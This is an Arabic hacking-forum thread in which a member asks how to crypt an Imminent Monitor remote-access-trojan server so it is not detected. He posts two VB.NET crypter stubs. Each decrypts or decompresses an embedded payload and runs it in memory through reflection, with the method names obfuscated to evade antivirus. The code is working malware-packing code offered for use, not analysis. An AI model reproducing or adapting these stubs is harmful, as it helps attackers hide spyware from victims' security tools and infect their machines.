تمت الإجابة عن تشفير سيرفر Imminent monitor

تم تحميل الصفحة في 0,2391912 ثانية
عن تشفير سيرفر Imminent monitor
الحالة
مغلق و غير مفتوح للمزيد من الردود.

SiCaRiO

Beginner Developer
rank
إنضم
28 يوليو 2011
المشاركات
101
الإعجابات
77
النقاط
28
الإقامة
MOROCCO
سلام شباب
حاولت تشفير سيرفر imminent monitor
بلغة C# and VB;net

لكن لا جدوى يضهر خطأ عند التشغيل

اذا سبق وان نجح احد بتشفيره فأتمنى ان يذكر طريقة التشفير مشكورا
بارك الله فيكم
 

SiCaRiO

Beginner Developer
rank
إنضم
28 يوليو 2011
المشاركات
101
الإعجابات
77
النقاط
28
الإقامة
MOROCCO
اخي ليست لدي خبرة في التشفير
اضنه entry point
استعملت برنامج Algo converter splitter by RAJAWI
 

SiCaRiO

Beginner Developer
rank
إنضم
28 يوليو 2011
المشاركات
101
الإعجابات
77
النقاط
28
الإقامة
MOROCCO
هذه احد التشفيرات
ياخد السيرفر مشفر من الرسورس

كود:
 Sub main()
        Dim s = System.Threading.Thread.GetDomain
        Dim j = s.Load(xs(My.Resources.Encrypted, "chaos123"))
        Dim b = CallByName(j, "xxxxxE$nxxxxxxxx$$xtryPxx$$$$xxxxxx$$$oixxnt$$$$$xxxxx$$$$".Replace("x", "").Replace("$", ""), CallType.Get)
        Dim x = CallByName(b, "@#@#i##n##[email protected]@[email protected]@@[email protected]@@@@@e#######".Replace("@", "").Replace("#", ""), CallType.Method, 9 - 9, Nothing)
    End Sub
 

SiCaRiO

Beginner Developer
rank
إنضم
28 يوليو 2011
المشاركات
101
الإعجابات
77
النقاط
28
الإقامة
MOROCCO
هذه تشفيرة اخرى
باستعمال برنامج

Hallaj BH Crypter


كود:
Module Hallaj
    '[+] Coded By Hallaj.Hack [+]
    Property aa0 = "لآoaُ".Replace("لآ", "L").Replace("ُ", "d") : Property aa1 = "Mn000r[Foin000".Replace("M", "E").Replace("F", "P").Replace("[", "y").Replace("000", "t") : Property aa2 = "2nْode".Replace("2", "I").Replace("d", "k").Replace("ْ", "v")
    Sub main()
        Dim aa3() As Byte = My.Resources.Compression ' Compression Server
        Using aa4 As New System.IO.MemoryStream(aa3)
            Using aa5 As New System.IO.Compression.GZipStream(aa4, System.IO.Compression.CompressionMode.Decompress)
                Const aa6 As Integer = 1024
                Dim aa7 As Integer = 0
                Do
                    Array.Resize(aa3, aa7 + aa6)
                    Dim aa8 As Integer = aa5.Read(aa3, aa7, aa6)
                    aa7 += aa8
                    If aa8 < aa6 Then
                        Array.Resize(aa3, aa7)
                        Exit Do
                    End If
                Loop While True
                aa5.Close()
            End Using
            aa4.Close()
        End Using
        Dim aa9 = AppDomain.CurrentDomain
        Dim aa10 = CallByName(aa9, aa0, CallType.Method, aa3)
        Dim aa11 = CallByName(aa10, aa1, CallType.Get)
        Dim aa12 = CallByName(aa11, aa2, CallType.Method, String.Empty, Nothing)
    End Sub
End Module
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل